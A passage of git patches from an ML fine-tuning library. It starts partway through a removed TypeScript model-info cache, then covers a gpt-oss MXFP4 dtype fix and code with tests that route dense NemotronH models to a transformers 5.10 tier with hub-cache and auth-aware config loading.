-  return Date.now() - hit.ts >= CACHE_TTL_MS;
-}
-
-function cacheKey(name: string, token: string | undefined): string {
-  if (!token) {
-    return `${name}::anon`;
-  }
-  // Use last 8 chars as a lightweight fingerprint so different tokens get
-  // separate cache entries without storing the full secret in memory.
-  return `${name}::${token.slice(-8)}`;
-}
-
-function extractToken(
-  params: Parameters<typeof modelInfo>[0],
-): string | undefined {
-  // The @huggingface/hub CredentialsParams union supports two forms:
-  //   { accessToken: "hf_..." }              -- current preferred form
-  //   { credentials: { accessToken: "..." }} -- deprecated form
-  // Check both so the cache key is correct regardless of which form callers use.
-  if (params.accessToken) {
-    return params.accessToken;
-  }
-  if (params.credentials && "accessToken" in params.credentials) {
-    return params.credentials.accessToken;
-  }
-  return undefined;
-}
-
-/**
- * Pre-populate the cache with data from a listModels result.
- * Only writes if the key is not already fresh -- never overwrites a recent
- * modelInfo response with a listing response.
- */
-export function primeCacheFromListing(
-  name: string,
-  token: string | undefined,
-  data: CachedResult,
-): void {
-  if (!name) return;
-  const key = cacheKey(name, token);
-  if (!isStale(key)) return; // already fresh, don't overwrite
-  cache.set(key, { data, ts: Date.now() });
-}
-
-export async function cachedModelInfo(
-  params: Parameters<typeof modelInfo>[0],
-): Promise<CachedResult> {
-  const token = extractToken(params);
-  const key = cacheKey(params.name, token);
-
-  // 1. Return from cache if fresh
-  if (!isStale(key)) {
-    return cache.get(key)!.data;
-  }
-
-  // 2. Share in-flight request if one exists
-  const flying = inflight.get(key);
-  if (flying) {
-    return flying;
-  }
-
-  // 3. New request, gated by concurrency semaphore
-  const promise = (async () => {
-    await acquire();
-    try {
-      const result = await modelInfo({
-        ...params,
-        additionalFields: ALL_FIELDS,
-      });
-      const entry = { data: result as CachedResult, ts: Date.now() };
-      cache.set(key, entry);
-      // For public models, also prime the anonymous cache slot so the VRAM
-      // hook (which reads without credentials) hits cache. Skip gated/private
-      // models to avoid leaking auth-scoped metadata into the anonymous slot.
-      const r = result as CachedResult & { gated?: false | "auto" | "manual"; private?: boolean };
-      if (token && !r.private && !r.gated) {
-        const anonKey = cacheKey(params.name, undefined);
-        if (isStale(anonKey)) {
-          cache.set(anonKey, entry);
-        }
-      }
-      return result as CachedResult;
-    } finally {
-      release();
-      inflight.delete(key);
-    }
-  })();
-
-  inflight.set(key, promise);
-  return promise;
-}

From e9c574be48acbfb5205d137a93b29a0c2722f18e Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Mon, 22 Jun 2026 04:33:54 -0700
Subject: [PATCH 018/306] loader: gpt-oss MXFP4 default-4bit takes the MXFP4
 dtype path, not BnB (#6563)

The gpt-oss dtype branch selected the BnB UNSLOTH_FORCE_CUSTOM_DTYPE path on the
raw load_in_4bit flag. A native MXFP4 checkpoint loaded by exact name with the
default load_in_4bit=True (e.g. openai/gpt-oss-20b) keeps the flag set until
check_and_disable_bitsandbytes_loading runs inside FastBaseModel, which is after
this branch sets the env var. So MXFP4 gpt-oss got the BnB down_proj/router
compute-dtype path (which also calls dequantize_module_weight on a non-bnb module)
instead of the MXFP4 bias upcast. Gate on the effective bnb state
(load_in_4bit and _bnb_compatible_quant), mirroring the _load_in_4bit_ token gate
introduced in #6504. BnB-4bit and -BF16 gpt-oss are unchanged.
---
 unsloth/models/loader.py | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/unsloth/models/loader.py b/unsloth/models/loader.py
index 5fc1755feb..f629899f0c 100644
--- a/unsloth/models/loader.py
+++ b/unsloth/models/loader.py
@@ -1367,7 +1367,11 @@ class FastModel(FastBaseModel):
             )
         elif "gpt_oss" in model_types_all:
             os.environ["UNSLOTH_DISABLE_STATIC_GENERATION"] = "1"
-            if not load_in_4bit:
+            # Use the EFFECTIVE bnb state, not the raw flag: a native MXFP4 checkpoint loaded
+            # with the default load_in_4bit=True (e.g. openai/gpt-oss-20b by exact name) has
+            # bnb disabled later by check_and_disable, so the raw flag would wrongly pick the
+            # BnB dtype path. Mirrors the _load_in_4bit_ token gate above.
+            if not (load_in_4bit and _bnb_compatible_quant):
                 # Only upcast MoE biases for MXFP4, not BnB
                 # Set norms to float32 since anyways they get upcasted to float32
                 os.environ["UNSLOTH_FORCE_CUSTOM_DTYPE"] = (

From aeb5075121c34535f7fdc9a5e0ff78b0e7d63d11 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Mon, 22 Jun 2026 04:47:30 -0700
Subject: [PATCH 019/306] Route dense NemotronH models to the transformers 5.10
 tier (#6541)

* Route dense NemotronH models to the transformers 5.10 tier

Dense NemotronH models (e.g. unsloth/NVIDIA-Nemotron-3-Nano-4B) describe their
layer stack with a hybrid_override_pattern that includes '-' (MLP) layers.
transformers only learned to parse that ('-' -> 'mlp' in pattern_mapping, 'mlp'
in valid_types and MIXER_TYPES) in 5.10; on 5.3/5.5 the config raises
KeyError: '-'. The model also ships auto_map remote code, so training and
inference that approve trust_remote_code load fine, but a native (TRC=False)
load such as export hits the built-in parser and fails with
'Failed to load checkpoint: -'.

Detect dense NemotronH from config.json (a '-' in hybrid_override_pattern, or
'mlp' in an expanded layers_block_type) and route it to the 5.10 tier, where the
model loads natively without remote code. Pure-MoE NemotronH configs are
unaffected and keep their existing tier.

Covers both the local config.json and the remote HF-id paths, and adds tests for
the detector and the resulting tier selection.

* Tighten _nemotron_h_needs_mlp_support docstring

* Detect dense NemotronH in nested, cached, and resolved-away configs

Three gaps could still route a dense NemotronH (MLP '-' layers) to a tier
below 5.10 and hit KeyError: '-':

- VL wrappers (e.g. NemotronH_Nano_VL_V2) keep the dense language model under
  llm_config/text_config; the detector only checked the top-level model_type.
  Recurse into nested language configs.
- Offline or blocked config fetches returned None for an already-downloaded
  repo. Read config.json from the HF hub cache before any network.
- A local checkpoint resolves to its base before tiering, so an offline/private
  base discarded the local config that revealed the dense pattern. Prefer the
  higher tier of the resolved base and the original path.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Harden NemotronH tier detection follow-ups

Address review of the nested/cached/resolved-away detection:

- The local re-check ran the full tier detector on the original path, so a bare
  LoRA adapter under e.g. /runs/gemma-4-x/llama-lora could upgrade a default base
  via directory-name substrings. Gate the re-check on a real local config.json so
  it reads metadata, not path names.
- The HF hub cache was read before any network, so an online tier check could
  serve stale config.json after the repo changed upstream. Consult the cache only
  offline or after a failed fetch.
- Reading the cache imported huggingface_hub during tier detection, which runs
  before a sidecar venv is activated and could pin the default-env hub into
  sys.modules. Resolve the cache path with stdlib only.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Trim comments to be more succinct

* Select newest hub-cache snapshot by mtime and retry transient config fetches

The HF cache fallback in tier detection picked the lexicographically-first
snapshot when refs/main was absent (commit-pinned downloads), which can be an
older SHA than the Hub would load. Sort snapshots by mtime instead.

A transient online fetch failure cached the hub-cache fallback under the normal
(model_name, token) key, so a long-lived worker kept serving stale metadata even
after connectivity recovered. Return the fallback without memoizing it so the
next call retries the network.

* Harden config.json tier detection against auth failures and transient blips

- _load_config_json: a 401/403/404 from the raw Hub request is a definitive access
  answer, not an outage. Return None instead of falling back to the HF hub cache, so
  an unauthenticated or wrong-token request can never read another caller's cached
  private metadata.
- _check_config_needs_510/550: only memoize the derived tier when the underlying
  config read was definitive (local file, offline cache, or a completed fetch).
  A transient fetch fallback is no longer pinned, so the tier is re-evaluated once
  connectivity returns instead of staying stuck on the lower tier.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Tighten comments in tier-detection auth/cache paths

---------

Co-authored-by: Daniel Han <michaelhan2050@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 .../tests/test_transformers_version.py        | 356 ++++++++++++++++++
 studio/backend/utils/transformers_version.py  | 143 +++++--
 2 files changed, 474 insertions(+), 25 deletions(-)

diff --git a/studio/backend/tests/test_transformers_version.py b/studio/backend/tests/test_transformers_version.py
index 60bbcde9ec..179158079e 100644
--- a/studio/backend/tests/test_transformers_version.py
+++ b/studio/backend/tests/test_transformers_version.py
@@ -34,6 +34,11 @@ from utils.transformers_version import (
     _check_tokenizer_config_needs_v5,
     _check_config_needs_510,
     _check_config_needs_550,
+    _config_needs_510,
+    _nemotron_h_needs_mlp_support,
+    _config_json_from_hf_cache,
+    _load_config_json,
+    _higher_tier,
     _config_json_cache,
     _tokenizer_class_cache,
     _config_needs_510_cache,
@@ -382,6 +387,259 @@ class TestCheckConfigNeeds510:
             mock_urlopen.assert_not_called()
 
 
+# ---------------------------------------------------------------------------
+# NemotronH dense (MLP) models need the 5.10 tier
+# ---------------------------------------------------------------------------
+
+
+class TestNemotronHNeedsMlpSupport:
+    """Dense NemotronH configs (MLP layers) require transformers >= 5.10."""
+
+    def test_hybrid_override_pattern_with_dash(self):
+        cfg = {
+            "model_type": "nemotron_h",
+            "hybrid_override_pattern": "M-M-M*-M-",
+        }
+        assert _nemotron_h_needs_mlp_support(cfg) is True
+
+    def test_layers_block_type_with_mlp(self):
+        cfg = {
+            "model_type": "nemotron_h",
+            "layers_block_type": ["mamba", "mlp", "attention", "mamba"],
+        }
+        assert _nemotron_h_needs_mlp_support(cfg) is True
+
+    def test_nemotron_h_moe_only_returns_false(self):
+        """A pure MoE NemotronH (no MLP) does not need the 5.10 tier."""
+        cfg = {
+            "model_type": "nemotron_h",
+            "hybrid_override_pattern": "MEME*MEM",
+        }
+        assert _nemotron_h_needs_mlp_support(cfg) is False
+
+    def test_non_nemotron_with_dash_returns_false(self):
+        """The dash heuristic only applies to nemotron_h configs."""
+        cfg = {"model_type": "llama", "hybrid_override_pattern": "M-M-"}
+        assert _nemotron_h_needs_mlp_support(cfg) is False
+
+    def test_config_needs_510_includes_dense_nemotron_h(self):
+        cfg = {
+            "model_type": "nemotron_h",
+            "hybrid_override_pattern": "M-M-M*-",
+        }
+        assert _config_needs_510(cfg) is True
+
+    def test_nested_llm_config_with_dash(self):
+        # VL wrapper (e.g. NemotronH_Nano_VL_V2): dense LM is under llm_config.
+        cfg = {
+            "model_type": "NemotronH_Nano_VL_V2",
+            "llm_config": {"model_type": "nemotron_h", "hybrid_override_pattern": "M-M*-"},
+        }
+        assert _nemotron_h_needs_mlp_support(cfg) is True
+        assert _config_needs_510(cfg) is True
+
+    def test_nested_text_config_with_mlp(self):
+        cfg = {
+            "model_type": "wrapper",
+            "text_config": {"model_type": "nemotron_h", "layers_block_type": ["mamba", "mlp"]},
+        }
+        assert _nemotron_h_needs_mlp_support(cfg) is True
+
+    def test_nested_non_nemotron_returns_false(self):
+        cfg = {"model_type": "wrapper", "llm_config": {"model_type": "llama"}}
+        assert _nemotron_h_needs_mlp_support(cfg) is False
+
+    def test_non_dict_and_missing_nested_do_not_raise(self):
+        assert _nemotron_h_needs_mlp_support(None) is False
+        assert _nemotron_h_needs_mlp_support({"model_type": "wrapper", "llm_config": None}) is False
+
+
+def _hf_response(cfg: dict):
+    """A urlopen() context-manager stand-in returning *cfg* as JSON bytes."""
+
+    class _Resp:
+        def __enter__(self):
+            return self
+
+        def __exit__(self, *a):
+            return False
+
+        def read(self):
+            return json.dumps(cfg).encode()
+
+    return _Resp()
+
+
+class TestConfigJsonHfCacheFallback:
+    """HF hub cache is consulted only offline or after a failed fetch (never stale online)."""
+
+    def setup_method(self):
+        _config_json_cache.clear()
+
+    @staticmethod
+    def _seed_cache(
+        hub: Path,
+        repo_id: str,
+        cfg: dict,
+        commit: str = "deadbeef",
+    ):
+        repo = hub / ("models--" + repo_id.replace("/", "--"))
+        snap = repo / "snapshots" / commit
+        snap.mkdir(parents = True)
+        (snap / "config.json").write_text(json.dumps(cfg))
+        (repo / "refs").mkdir(parents = True)
+        (repo / "refs" / "main").write_text(commit)
+
+    def test_offline_reads_from_cache(self, tmp_path: Path, monkeypatch):
+        cfg = {"model_type": "nemotron_h", "hybrid_override_pattern": "M-M*-"}
+        self._seed_cache(tmp_path, "unsloth/NVIDIA-Nemotron-3-Nano-4B", cfg)
+        monkeypatch.setenv("HF_HUB_CACHE", str(tmp_path))
+        monkeypatch.setenv("HF_HUB_OFFLINE", "1")
+        with patch("urllib.request.urlopen") as mock_url:
+            assert _load_config_json("unsloth/NVIDIA-Nemotron-3-Nano-4B") == cfg
+            mock_url.assert_not_called()
+
+    def test_online_prefers_network_over_cache(self, tmp_path: Path, monkeypatch):
+        stale = {"model_type": "nemotron_h", "hybrid_override_pattern": "MMMM"}
+        fresh = {"model_type": "nemotron_h", "hybrid_override_pattern": "M-M*-"}
+        self._seed_cache(tmp_path, "org/model", stale)
+        monkeypatch.setenv("HF_HUB_CACHE", str(tmp_path))
+        monkeypatch.delenv("HF_HUB_OFFLINE", raising = False)
+        monkeypatch.delenv("TRANSFORMERS_OFFLINE", raising = False)
+        with patch("urllib.request.urlopen", return_value = _hf_response(fresh)):
+            assert _load_config_json("org/model") == fresh  # network wins, not stale cache
+
+    def test_network_failure_falls_back_to_cache(self, tmp_path: Path, monkeypatch):
+        cfg = {"model_type": "nemotron_h", "hybrid_override_pattern": "M-M*-"}
+        self._seed_cache(tmp_path, "org/model", cfg)
+        monkeypatch.setenv("HF_HUB_CACHE", str(tmp_path))
+        monkeypatch.delenv("HF_HUB_OFFLINE", raising = False)
+        with patch("urllib.request.urlopen", side_effect = OSError("boom")):
+            assert _load_config_json("org/model") == cfg
+
+    def test_offline_uncached_returns_none(self, tmp_path: Path, monkeypatch):
+        monkeypatch.setenv("HF_HUB_CACHE", str(tmp_path))
+        monkeypatch.setenv("HF_HUB_OFFLINE", "1")
+        with patch("urllib.request.urlopen") as mock_url:
+            assert _load_config_json("private/unknown") is None
+            mock_url.assert_not_called()
+
+    def test_helper_ignores_local_paths(self, tmp_path: Path):
+        # A filesystem path is not a repo id; never treat it as one.
+        assert _config_json_from_hf_cache(str(tmp_path)) is None
+        assert _config_json_from_hf_cache("plainname") is None
+
+    def test_no_refs_main_picks_newest_snapshot(self, tmp_path: Path, monkeypatch):
+        # No refs/main (commit-pinned downloads): lexicographic order would pick the older
+        # SHA; selection must follow mtime so the newest snapshot wins.
+        repo = tmp_path / "models--org--model"
+        old = repo / "snapshots" / "0000old"
+        new = repo / "snapshots" / "ffffnew"
+        old.mkdir(parents = True)
+        new.mkdir(parents = True)
+        (old / "config.json").write_text(json.dumps({"model_type": "stale"}))
+        (new / "config.json").write_text(json.dumps({"model_type": "fresh"}))
+        os.utime(old / "config.json", (1000, 1000))
+        os.utime(new / "config.json", (2000, 2000))
+        monkeypatch.setenv("HF_HUB_CACHE", str(tmp_path))
+        assert _config_json_from_hf_cache("org/model") == {"model_type": "fresh"}
+
+    def test_transient_failure_does_not_cache_fallback(self, tmp_path: Path, monkeypatch):
+        stale = {"model_type": "nemotron_h", "hybrid_override_pattern": "MMMM"}
+        fresh = {"model_type": "nemotron_h", "hybrid_override_pattern": "M-M*-"}
+        self._seed_cache(tmp_path, "org/model", stale)
+        monkeypatch.setenv("HF_HUB_CACHE", str(tmp_path))
+        monkeypatch.delenv("HF_HUB_OFFLINE", raising = False)
+        # Network fails -> serve the cached snapshot, but it must not be memoized.
+        with patch("urllib.request.urlopen", side_effect = OSError("boom")):
+            assert _load_config_json("org/model") == stale
+        # Connectivity returns: the next call must hit the network for the fresh config.
+        with patch("urllib.request.urlopen", return_value = _hf_response(fresh)):
+            assert _load_config_json("org/model") == fresh
+
+    def test_auth_failure_does_not_serve_cache(self, tmp_path: Path, monkeypatch):
+        import urllib.error
+
+        # config.json cached from an earlier authorized session; an unauthenticated 4xx
+        # must not be handed that private metadata.
+        cfg = {"model_type": "nemotron_h", "hybrid_override_pattern": "M-M*-"}
+        self._seed_cache(tmp_path, "private/model", cfg)
+        monkeypatch.setenv("HF_HUB_CACHE", str(tmp_path))
+        monkeypatch.delenv("HF_HUB_OFFLINE", raising = False)
+        for code in (401, 403, 404):
+            _config_json_cache.clear()
+            err = urllib.error.HTTPError("url", code, "denied", {}, None)
+            with patch("urllib.request.urlopen", side_effect = err):
+                assert _load_config_json("private/model") is None
+
+    def test_server_error_still_falls_back_to_cache(self, tmp_path: Path, monkeypatch):
+        import urllib.error
+
+        cfg = {"model_type": "nemotron_h", "hybrid_override_pattern": "M-M*-"}
+        self._seed_cache(tmp_path, "org/model", cfg)
+        monkeypatch.setenv("HF_HUB_CACHE", str(tmp_path))
+        monkeypatch.delenv("HF_HUB_OFFLINE", raising = False)
+        # A 5xx is transient, not an access decision: keep serving the cache.
+        err = urllib.error.HTTPError("url", 503, "busy", {}, None)
+        with patch("urllib.request.urlopen", side_effect = err):
+            assert _load_config_json("org/model") == cfg
+
+
+class TestTierCheckTransientRetry:
+    """tier-needs checks must not memoize a transient fetch fallback."""
+
+    def setup_method(self):
+        _config_json_cache.clear()
+        _config_needs_510_cache.clear()
+        _config_needs_550_cache.clear()
+
+    @staticmethod
+    def _seed_cache(
+        hub: Path,
+        repo_id: str,
+        cfg: dict,
+        commit: str = "deadbeef",
+    ):
+        repo = hub / ("models--" + repo_id.replace("/", "--"))
+        snap = repo / "snapshots" / commit
+        snap.mkdir(parents = True)
+        (snap / "config.json").write_text(json.dumps(cfg))
+        (repo / "refs").mkdir(parents = True)
+        (repo / "refs" / "main").write_text(commit)
+
+    def test_transient_fallback_not_memoized_then_retries(self, tmp_path: Path, monkeypatch):
+        stale = {"model_type": "llama"}  # does not need 510
+        fresh = {"architectures": ["Gemma4UnifiedForConditionalGeneration"]}  # needs 510
+        self._seed_cache(tmp_path, "org/model", stale)
+        monkeypatch.setenv("HF_HUB_CACHE", str(tmp_path))
+        monkeypatch.delenv("HF_HUB_OFFLINE", raising = False)
+        # Network blip -> serve the cache, but do NOT pin the tier result.
+        with patch("urllib.request.urlopen", side_effect = OSError("boom")):
+            assert _check_config_needs_510("org/model") is False
+        assert "org/model" not in _config_needs_510_cache
+        # Connectivity returns: the next call re-fetches and sees the higher tier.
+        with patch("urllib.request.urlopen", return_value = _hf_response(fresh)):
+            assert _check_config_needs_510("org/model") is True
+        assert _config_needs_510_cache["org/model"] is True  # definitive read is memoized
+
+    def test_definitive_network_read_is_memoized(self, tmp_path: Path, monkeypatch):
+        fresh = {"architectures": ["Gemma4ForConditionalGeneration"]}  # needs 550
+        monkeypatch.setenv("HF_HUB_CACHE", str(tmp_path))
+        monkeypatch.delenv("HF_HUB_OFFLINE", raising = False)
+        with patch("urllib.request.urlopen", return_value = _hf_response(fresh)) as mock_url:
+            assert _check_config_needs_550("org/model") is True
+            assert _check_config_needs_550("org/model") is True
+            assert mock_url.call_count == 1  # second call served from the tier cache
+
+
+class TestHigherTier:
+    def test_picks_stronger_tier(self):
+        assert _higher_tier("default", "510") == "510"
+        assert _higher_tier("530", "550") == "550"
+        assert _higher_tier("510", "default") == "510"
+        assert _higher_tier("default", "default") == "default"
+
+
 # ---------------------------------------------------------------------------
 # get_transformers_tier — tier detection
 # ---------------------------------------------------------------------------
@@ -438,6 +696,43 @@ class TestGetTransformersTier:
 
         assert get_transformers_tier(str(tmp_path)) == "510"
 
+    def test_dense_nemotron_h_config_json_returns_510(self, tmp_path: Path):
+        """Local dense NemotronH checkpoint → 510 (MLP layers need >= 5.10)."""
+        cfg = {
+            "model_type": "nemotron_h",
+            "hybrid_override_pattern": "M-M-M*-M-",
+        }
+        (tmp_path / "config.json").write_text(json.dumps(cfg))
+        # A v5 tokenizer would otherwise route this to 530; 510 must win.
+        (tmp_path / "tokenizer_config.json").write_text(
+            json.dumps({"tokenizer_class": "TokenizersBackend"})
+        )
+
+        with patch("urllib.request.urlopen") as mock_urlopen:
+            assert get_transformers_tier(str(tmp_path)) == "510"
+            mock_urlopen.assert_not_called()
+
+    def test_dense_nemotron_h_remote_config_returns_510(self):
+        """Remote dense NemotronH (HF id) → 510 via config.json fetch, not 530."""
+
+        class _Response:
+            def __enter__(self):
+                return self
+
+            def __exit__(self, exc_type, exc, tb):
+                return False
+
+            def read(self):
+                return json.dumps(
+                    {
+                        "model_type": "nemotron_h",
+                        "hybrid_override_pattern": "M-M-M*-M-",
+                    }
+                ).encode()
+
+        with patch("urllib.request.urlopen", return_value = _Response()):
+            assert get_transformers_tier("unsloth/NVIDIA-Nemotron-3-Nano-4B") == "510"
+
     def test_local_config_json_short_circuits_path_substrings(self, tmp_path: Path):
         """Local config.json should prevent false matches from parent directory names."""
         model_dir = tmp_path / "gemma-4-12b-experiment" / "llama-checkpoint"
@@ -686,6 +981,67 @@ class TestActivateLoggingClarity:
             "sys.path" in text or "path only" in text
         ), f"early activation log does not clarify it is path-prepend only: {text!r}"
 
+    def test_activate_prefers_local_checkpoint_tier_over_resolved_base(self, caplog, tmp_path):
+        # Base resolves to an offline/private id (default tier); the local config.json wins.
+        (tmp_path / "config.json").write_text(json.dumps({"model_type": "llama"}))
+        local = str(tmp_path)
+        caplog.set_level(logging.INFO)
+        snap = self._snapshot_env()
+        tiers = {local: "510", "private/base": "default"}
+        try:
+            with (
+                patch(
+                    "utils.transformers_version._resolve_base_model",
+                    return_value = "private/base",
+                ),
+                patch(
+                    "utils.transformers_version.get_transformers_tier",
+                    side_effect = lambda m: tiers[m],
+                ),
+                patch(
+                    "utils.transformers_version._ensure_venv_t5_510_exists",
+                    return_value = True,
+                ),
+            ):
+                activate_transformers_for_subprocess(local)
+        finally:
+            self._restore_env(snap)
+
+        text = " ".join(r.getMessage() for r in caplog.records).lower()
+        assert "5.10.2" in text, f"local checkpoint tier did not win: {text!r}"
+
+    def test_activate_adapter_without_config_skips_path_name_recheck(self, caplog, tmp_path):
+        # Adapter dir named 'gemma-4' but no config.json: the path-name re-check must not run.
+        adapter = tmp_path / "gemma-4-experiment" / "llama-lora"
+        adapter.mkdir(parents = True)
+        local = str(adapter)
+        caplog.set_level(logging.INFO)
+        snap = self._snapshot_env()
+        seen = []
+
+        def fake_tier(m):
+            seen.append(m)
+            return "550" if "gemma-4" in m else "default"
+
+        try:
+            with (
+                patch(
+                    "utils.transformers_version._resolve_base_model",
+                    return_value = "meta/llama",
+                ),
+                patch(
+                    "utils.transformers_version.get_transformers_tier",
+                    side_effect = fake_tier,
+                ),
+            ):
+                activate_transformers_for_subprocess(local)
+        finally:
+            self._restore_env(snap)
+
+        assert seen == ["meta/llama"], f"adapter path was re-checked via substrings: {seen!r}"
+        text = " ".join(r.getMessage() for r in caplog.records).lower()
+        assert "default transformers" in text, f"adapter wrongly upgraded: {text!r}"
+
 
 # ---------------------------------------------------------------------------
 # _venv_dir_is_valid — issue #6103
diff --git a/studio/backend/utils/transformers_version.py b/studio/backend/utils/transformers_version.py
index a20fefbc39..fe3d263341 100644
--- a/studio/backend/utils/transformers_version.py
+++ b/studio/backend/utils/transformers_version.py
@@ -5,7 +5,9 @@
 
 Some newer model architectures (Ministral-3, GLM-4.7-Flash, Qwen3-30B-A3B MoE,
 tiny_qwen3_moe) require transformers>=5.3.0, while Gemma 4 models require a
-newer 5.x sidecar.  Everything else needs the default 4.57.x that ships with
+newer 5.x sidecar.  Dense NemotronH models (e.g. NVIDIA-Nemotron-3-Nano-4B) use
+MLP layers that only transformers>=5.10 can parse natively, so they go on the
+5.10 sidecar too.  Everything else needs the default 4.57.x that ships with
 Unsloth.
 
 Two separate target directories are maintained:
@@ -135,6 +137,13 @@ _VENV_T5_510_DIR = str(_studio_root() / ".venv_t5_510")
 # Backwards-compat alias
 _VENV_T5_DIR = _VENV_T5_550_DIR
 
+# Tier precedence: higher rank wins in _higher_tier.
+_TIER_RANK = {"default": 0, "530": 1, "550": 2, "510": 3}
+
+
+def _higher_tier(a: str, b: str) -> str:
+    return a if _TIER_RANK.get(a, 0) >= _TIER_RANK.get(b, 0) else b
+
 
 def activate_transformers_for_subprocess(model_name: str) -> None:
     """Activate the correct transformers version in a subprocess worker.
@@ -146,6 +155,10 @@ def activate_transformers_for_subprocess(model_name: str) -> None:
     """
     resolved = _resolve_base_model(model_name)
     tier = get_transformers_tier(resolved)
+    if model_name != resolved and (Path(model_name) / "config.json").is_file():
+        # Gate on a real local config.json: a checkpoint carries config the base may not
+        # surface, but path names alone must not upgrade a plain adapter.
+        tier = _higher_tier(tier, get_transformers_tier(model_name))
 
     if tier == "510":
         if not _ensure_venv_t5_510_exists():
@@ -328,12 +341,56 @@ def _check_tokenizer_config_needs_v5(model_name: str) -> bool:
         return False
 
 
+def _safe_mtime(path: Path) -> float:
+    try:
+        return path.stat().st_mtime
+    except OSError:
+        return 0.0
+
+
+def _config_json_from_hf_cache(model_name: str) -> dict | None:
+    """Parsed ``config.json`` from the local HF hub cache, or None.
+
+    Stdlib-only path resolution (no ``huggingface_hub`` import) so tier detection never
+    loads the default-env hub before a sidecar venv is activated.
+    """
+    # Only a canonical ``owner/repo`` Hub id maps to a cache dir; reject local paths.
+    if not model_name or model_name.count("/") != 1 or model_name[0] in "/.~" or "\\" in model_name:
+        return None
+    hub = (
+        os.environ.get("HF_HUB_CACHE")
+        or os.environ.get("HUGGINGFACE_HUB_CACHE")
+        or os.path.join(
+            os.environ.get("HF_HOME") or os.path.expanduser("~/.cache/huggingface"), "hub"
+        )
+    )
+    repo_dir = Path(hub) / ("models--" + model_name.replace("/", "--"))
+    candidates = []
+    ref_main = repo_dir / "refs" / "main"
+    try:
+        if ref_main.is_file():
+            candidates.append(repo_dir / "snapshots" / ref_main.read_text().strip() / "config.json")
+        # No refs/main (e.g. commit-pinned downloads): newest snapshot by mtime, not a stale
+        # lexicographically-first SHA, matching what the Hub cache would actually load.
+        candidates += sorted(
+            repo_dir.glob("snapshots/*/config.json"), key = _safe_mtime, reverse = True
+        )
+        for cfg_path in candidates:
+            if cfg_path.is_file():
+                with open(cfg_path) as f:
+                    return json.load(f)
+    except Exception as exc:
+        logger.debug("HF cache config.json lookup failed for '%s': %s", model_name, exc)
+    return None
+
+
 def _load_config_json(model_name: str, hf_token: str | None = None) -> dict | None:
     """Return parsed ``config.json`` for *model_name*, checking local files first.
 
     ``hf_token`` authenticates the raw fetch so gated/private repos resolve. The
     cache is keyed on the token so an unauthenticated miss never poisons a later
-    authenticated read.
+    authenticated read. The HF hub cache is consulted only offline or after a failed
+    network fetch, so an online read never serves stale metadata.
     """
     import hashlib
 
@@ -355,9 +412,12 @@ def _load_config_json(model_name: str, hf_token: str | None = None) -> dict | No
             return None
 
     if _env_offline():
-        _config_json_cache[cache_key] = None
-        return None
+        # No network: a previously downloaded repo can still tier from the hub cache.
+        cfg = _config_json_from_hf_cache(model_name)
+        _config_json_cache[cache_key] = cfg
+        return cfg
 
+    import urllib.error
     import urllib.request
 
     url = f"https://huggingface.co/{model_name}/raw/main/config.json"
@@ -370,10 +430,24 @@ def _load_config_json(model_name: str, hf_token: str | None = None) -> dict | No
             cfg = json.loads(resp.read().decode())
         _config_json_cache[cache_key] = cfg
         return cfg
+    except urllib.error.HTTPError as exc:
+        # 401/403/404 is a definitive access answer: never serve another caller's cached
+        # private metadata to an unauthenticated/wrong-token request.
+        if exc.code in (401, 403, 404):
+            logger.debug("config.json access denied for '%s': %s", model_name, exc)
+            return None
+        logger.debug("Could not fetch config.json for '%s': %s", model_name, exc)
+        return _config_json_from_hf_cache(model_name)
     except Exception as exc:
         logger.debug("Could not fetch config.json for '%s': %s", model_name, exc)
-        _config_json_cache[cache_key] = None
-        return None
+        # Transient: serve the hub cache uncached so the next call retries the network.
+        return _config_json_from_hf_cache(model_name)
+
+
+def _config_json_is_definitive(model_name: str) -> bool:
+    """True if the last unauthenticated ``_load_config_json`` read was cached (definitive),
+    not a transient fallback (deliberately not stored, so callers re-check next call)."""
+    return (model_name, None) in _config_json_cache
 
 
 def _config_matches_tier(cfg: dict, architectures: set[str], model_types: set[str]) -> bool:
@@ -393,30 +467,47 @@ def _config_needs_550(cfg: dict) -> bool:
     )
 
 
+_NESTED_CONFIG_KEYS = ("llm_config", "text_config", "language_config", "thinker_config")
+
+
+def _nemotron_h_needs_mlp_support(cfg: dict) -> bool:
+    """True for a dense NemotronH config using MLP (``-``) layers.
+
+    transformers only gained ``-`` -> ``mlp`` in 5.10; 5.3/5.5 raise ``KeyError: '-'``.
+    Read from ``hybrid_override_pattern`` or ``layers_block_type``, recursing into nested
+    language configs (VL wrappers hold the dense LM under ``llm_config``/``text_config``).
+    """
+    if not isinstance(cfg, dict):
+        return False
+    if cfg.get("model_type") == "nemotron_h":
+        pattern = cfg.get("hybrid_override_pattern")
+        if isinstance(pattern, str) and "-" in pattern:
+            return True
+        block_types = cfg.get("layers_block_type")
+        if isinstance(block_types, (list, tuple)) and "mlp" in block_types:
+            return True
+    return any(_nemotron_h_needs_mlp_support(cfg.get(key)) for key in _NESTED_CONFIG_KEYS)
+
+
 def _config_needs_510(cfg: dict) -> bool:
-    return _config_matches_tier(
+    if _config_matches_tier(
         cfg,
         _TRANSFORMERS_510_ARCHITECTURES,
         _TRANSFORMERS_510_MODEL_TYPES,
-    )
+    ):
+        return True
+    return _nemotron_h_needs_mlp_support(cfg)
 
 
 def _check_config_needs_550(model_name: str) -> bool:
-    """True if ``config.json`` has architectures/model_type needing transformers
-    5.5.0 (e.g. Gemma 4).
-
-    Checks locally first, else fetches from HuggingFace. Cached in
-    ``_config_needs_550_cache``. Returns False on any error (fail-open to lower tier).
+    """True if ``config.json`` needs transformers 5.5.0 (e.g. Gemma 4). Local first, else
+    fetched; cached only for a definitive read so a transient miss retries. False on error.
     """
     if model_name in _config_needs_550_cache:
         return _config_needs_550_cache[model_name]
 
     cfg = _load_config_json(model_name)
-    if cfg is None:
-        _config_needs_550_cache[model_name] = False
-        return False
-
-    result = _config_needs_550(cfg)
+    result = bool(cfg) and _config_needs_550(cfg)
     if result:
         logger.info(
